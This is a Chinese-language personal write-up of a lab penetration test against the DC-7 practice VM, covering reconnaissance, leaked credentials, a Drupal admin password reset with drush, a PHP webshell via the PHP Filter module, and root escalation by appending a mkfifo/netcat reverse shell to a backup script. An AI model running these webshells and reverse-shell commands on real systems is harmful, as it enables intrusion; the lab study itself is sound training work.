DC-7 滲透測試
沖沖沖,好好學習 。對管道符的理解加深了好多。最后提權時,遇到了點麻煩。想不懂一條命令為啥能執行生效,耗了一整天才算解決掉。
操作機:kali 172.66.66.129
靶機:DC-4 172.66.66.138
網絡模式:NAT
netdiscover
172.66.66.138
dirb http://172.66.66.138
nmap -sV -A -p- 172.66.66.138
22端口 OpenSSL 7.4p1 ;80端口 Drupal 8 ;能看到robots.txt
訪問一下觀察研究網站頁面,
有一個搜索框,還發現左下角的 @DC7USER
,這個是什么東西,好陌生。百度一下
於是找到這個東西,進去把源碼down了下來,那就代碼審計咯
(好一個腳本小子...)一個個去看看,顯示文件包含漏洞出在 footer標簽里,標簽定義文檔或者文檔的一部分區域的頁腳。<footer>
元素應該包含它所包含的元素的信息。
在典型情況下,該元素會包含文檔創作者的姓名、文檔的版權信息、使用條款的鏈接、聯系信息等等。
在一個文檔中,您可以定義多個<footer>
元素。
代碼含義:先定義了變量$file = 'contact-info.php'
,再判斷 變量對應的文件是或存在,存在則包含,否則 通過 _GET[ ] 獲取$file
的值,不經過濾直接包含變量進來。從代碼邏輯上看,仿佛沒毛病,要執行的前提是預定義的變量$file = 'contact-info.php'
不存在。
哈哈哈哈哈腦子進水了.....敲一下自己。一上來傻乎乎的審計,配置文件這么重要都不看完,在config.php
里看到了數據庫賬號密碼
$username = "dc7user";
$password = "MdR3xOgB7#dW";
登錄失敗,記得開了22端口,試試ssh登錄。
登錄成功,提示有新郵件,在``/var/mail/`查看 mbox ,好長的內容
是個備份的內容,/opt/scripts/backups.sh
目標文件所有者是 root ,所屬組 是www-data,
當前用戶:輸入 id
uid=1000(dc7user) #當前用戶的 唯一標識 uid 1000
gid=1000(dc7user) #當前用戶的 所屬組
dc7user
groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) # 屬於的其他組
當前用戶是backups.sh的其他人
,權限只有 r w讀寫。仿佛這些發現沒用,放棄,找下一個思路。
出來挨打 >.<
“所屬組 是www-data”,當看到這里,我沒有反應過來,一個這么高權限的腳本,當前用戶無法利用,但是 www-data 可以啊,www-data www-data ,想到了嗎?這的意思就是讓你從web端日進去,賬號成為 www-data ,這都想不到???????????
獲得的主要信息:
Shell腳本文件 /opt/scripts/backups.sh
數據庫文件:/home/dc7user/backups/website.sql
網站數據: /home/dc7user/backups/website.tar.gz
可見.gpg后綴,文件是經過加密的(為什么我沒有想到破解呢???自己反省一下)。有倆比較陌生的命令 drush 和 gpg(一種加密方式)。百度一圈得知可用 drush來修改任意用戶的密碼drush user-password 用戶名 --password="密碼"
想到爆破沒?可以去試試,gpg秘鑰解密PickYourOwnPassword(backup.sh中找到)。但是爆破完,里面也獲得不到有用的信息。
從backups.sh
中我們看到,使用drush
備份數據庫的時候,先切換目錄至/var/www/html
,所以我們也先切換目錄至/var/www/html/
cd 到/var/www/html 下使用,(盲猜的后台管理員賬號 admin ,在登錄頁面,輸入不存在的賬號,會提示該賬號未注冊。)
改完密碼,登錄試試,登進去之后
尋找可利用的地方,
此處的代碼沒有被解析,只原樣輸出了,繞過無果。再找找其他看
有圖片上傳框,想到圖片馬?
如何制作圖片馬還記得嗎?
windows下,先准備兩個 文件:
tupian.png ma.php
打開cmd ,在當前路徑下執行:
copy tupian.png/b+ma.php/a new.png
/b是以二進制格式復制/合並文件,適用於圖片或者聲音類文件。
/a是指定ascii格式復制/合並文件,適用於txt等文本類型。
傳上去了,但是菜刀連接不上,我馬呢?能確認上傳路徑是沒有錯的,那是為什么呢,
沒有cookie嗎?登錄一下網頁再試試
瀏覽網頁,admin登錄,再次嘗試連接一句話,仍然失敗。圖片沒有執行嗎?思路斷。
記得前面的靶機中,drupal有個模塊可以執行php代碼來着。
尋找cms中模塊安裝功能在哪,百度尋找該cms存在漏洞的功能模塊等,嘗試安裝存在漏洞的功能模塊/主題/插件,最后通過其漏洞實現侵入。
在線下載安裝,或者本地上傳模塊安裝。drupal官網找找模塊在哪,當前drupal為8.7.6版本。
在此處下載PHP Filter模塊http://drupal.org/project/php
,上圖可見,下載的應該是 .gz文件,服務器linux的壓縮文件也應該是 .gz
執行成功,嘗試提權。
-
<?php system("nc -e /bin/bash 172.66.66.129 8888");?>
-
<?php system("$_GET['a']");?>
再訪問:http://172.66.66.138/node/6?a=nc -e /bin/bash 127.0.0.1 8888
python 交互shellpython -c 'import pty;pty.spawn("/bin/bash")'
然后呢?思路感覺又斷了 >.< 看了下大佬們的wp,抄來了這條一寸長的命令。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f" >> backups.sh
往backups.sh里 追加 地寫入這個命令,拆分一下理解理解
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f
rm /tmp/f 刪除該文件(以免跟后面定義的 管道符 沖突)
mkfifo /tmp/f 這是創建自定義有名管道符。管道符的名稱是 /tmp/f (用於進程間的通訊, 如 ls > /tmp/f ,cat /tmp/f ,連通兩個進程之間的通訊)
cat /tmp/f 取出管道符中的內容, |/bin/sh -i 2>&1 將前面取出的內容作為 輸入 ,輸入給 /bin/sh ,再將bash 的標准錯誤輸出 也作為標准輸入 (2 >&1)給bash ,然后再將bash的輸出,傳給nc 遠程,再將nc 傳來的數據,寫入 管道符 /tmp/f 。最后首尾接通了。
原理上講也沒啥難度,跟之前寫的fantanshell筆記里的都一樣,換個方式唯一,核心道理一模一樣。
但是有個疑問:為啥執行這命令后,nc反彈的shell,是root權限? 是哪里導致的身份成了 root ?
當前用戶是 www-data ,backups.sh所有者是root,所屬組是www-data
-rwxr-xr-x 1 root root 64K Feb 22 2017 /usr/bin/mkfifo 命令的權限也沒有suid呢?
為什么呢?下面是 backups.sh腳本的內容
#!/bin/bash rm /home/dc7user/backups/* cd /var/www/html/ drush sql-dump --result-file=/home/dc7user/backups/website.sql cd .. tar -czf /home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz chown dc7user:dc7user /home/dc7user/backups/* rm /home/dc7user/backups/website.sql rm /home/dc7user/backups/website.tar.gz
想不懂一個問題,---------------------------------------------------------------------------------------------------------------------------------------
當前登錄用戶為 www-data ,id 顯示是uid=33(www-data) gid=33(www-data) groups=33(www-data)
現在有個腳本 backups.sh ,權限是 -rwx rwx r-x root www-data
腳本內容是:
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
提權方式 是,在腳本末尾追加寫入 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.66.66.138 8888 >/tmp/f
(命令內容我能理解),寫入完成后再執行,開啟監聽,反彈回來的shell ,就是root權限了。
問題:為什么反彈回來的權限是 root 的?當前用戶是 www-data,這個身份執行 腳本,雖然腳本的所有者是root,但好像這個腳本沒有suid權限,為啥反彈回來的shell 是root權限的?
為了驗證這個問題,(雖然還是沒懂為什么,但是想看看究竟是不是這樣子的)打開centos 寫個腳本測試一下
tmp下隨便寫個腳本,改一下權限 775 ,改 所有者 為root 和 所屬組為zhaocancheng ,腳本內容為驗證執行時候的用戶id 是否為root ,是root的話就echo。
執行結果並不是root,這就很迷了呀,為啥子哩.....
所以我可以認為,靶機上的腳本運行后能獲得 root 權限,跟 文件本身的權限 -rwx rwx r-x root www-data無關嗎?我覺得可以... 那難道是 靶機腳本里命令的緣故嗎?腳本中使用的命令有 drush、tar、gpg、chown,也能確認跟這些命令沒關系...
晚上洗澡忽然想到,上面的centos里的操作,邏輯上不對,得先把賬號加入那個組才可以接着下面的步驟。
最后換個思路思考,研究了下腳本里的命令,發現 chown 是只有root才能執行,然而腳本里有這條命令,並且這個提權方式是可行的(已有成功的)。自己本地嘗試的時候,普通賬號(及時在所屬組里)是無法執行腳本的,會報錯,提示不允許的操作。
那所以在靶機中,腳本在執行的時候,是root身份在執行了腳本,所以再追加進去的nc 反彈回來才是 root,會不會是 root的計划任務,定期以root身份執行腳本,順利提權root ,無奈當前用戶www-data 無法查看 root 下的計划任務。
最后知道,那個 追加進去的命令好像是 msf 的......
嗯? 磁盤沒空間? df -i 看到也沒有滿呀。啊?打開backups.sh看看
噢噢還真的是說磁盤滿了.....然鵝並沒有滿呀,上面也看到了呀,好吧我電腦也就256G ,確實是滿了...
幾天后回來想到,這應該是 msf生成的反彈shell后門,需要msf的環境才能執行成功。
最后
- 感覺學到的東西越來越少了,多回顧以前學過的知識,代碼審計生疏了好多好多...
- linux用戶可以屬於多個“組”,
- 看到特殊腳本,打開進去好好看,研究看,仔細看,看,看,看,
- Drush 是Drupal的命令行shell和Unix腳本接口,用於管理druoal網站。當新網站忘記密碼,想重置密碼,這時候服務器上剛好裝着 Drush ,那么恭喜:
drush user-password 用戶名 --password="密碼"
- gpg 一種加密方式,linux可以安裝使用。加密解密也是個知識點。
- 我馬呢?我馬呢?🐴🐴🐴
- 為什么一句話的圖片木馬能起效果?原理是什么
- “所屬組 是www-data”,當看到這里,我沒有反應過來,一個這么高權限的腳本,當前用戶無法利用,但是 www-data 可以啊,www-data www-data ,想到了嗎?這的意思就是讓你從web端日進去,賬號成為 www-data ,這都想不到???????????
mkfifo
開心,學到了個神奇的命令。筆記放在另外的地方,篇幅有點長,就不放這里了。